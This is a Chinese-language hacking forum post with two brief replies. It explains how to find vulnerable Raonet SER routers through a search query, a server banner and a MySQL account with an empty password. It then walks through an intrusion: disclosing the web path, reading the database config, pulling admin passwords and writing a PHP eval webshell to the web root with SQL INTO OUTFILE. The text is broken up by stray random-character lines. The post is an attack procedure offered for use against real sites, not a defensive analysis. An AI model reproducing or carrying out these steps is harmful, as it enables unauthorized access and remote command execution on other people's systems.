利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
% J7 q  _8 a6 h2 E- X: G/ r
% M: r7 l  j& k& i# b1：google搜索'Raonet Subscriber Ethernet Router'

7 W! H" T& m8 H% R6 \0 l2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
  J' [' C8 {. Q5 B" P
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
. K# r6 m2 D- {( u: P: @2 I


入侵步骤：

0 A5 r& Y/ ?3 d, q+ |* ]; H6 m1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
7 F8 o8 d. A# g
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
: j/ y: d9 @% q3：得到密码后连接，查看GUI管理密码：
. _$ s1 `1 t% o: Yuse ser_500
" T" [; @2 D- K/ [select id,passwd from user;
, o; [+ \$ i6 P1 W2 ~6 k4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
& B* E2 v+ @, ^6 Iselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
+ q2 Q, t! P* D4 ^9 S  w& ^' A9 h
5:连接后门shell.php

6. 搞定！

+ e  l* l8 i2 X/ F6 K# o0 d

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。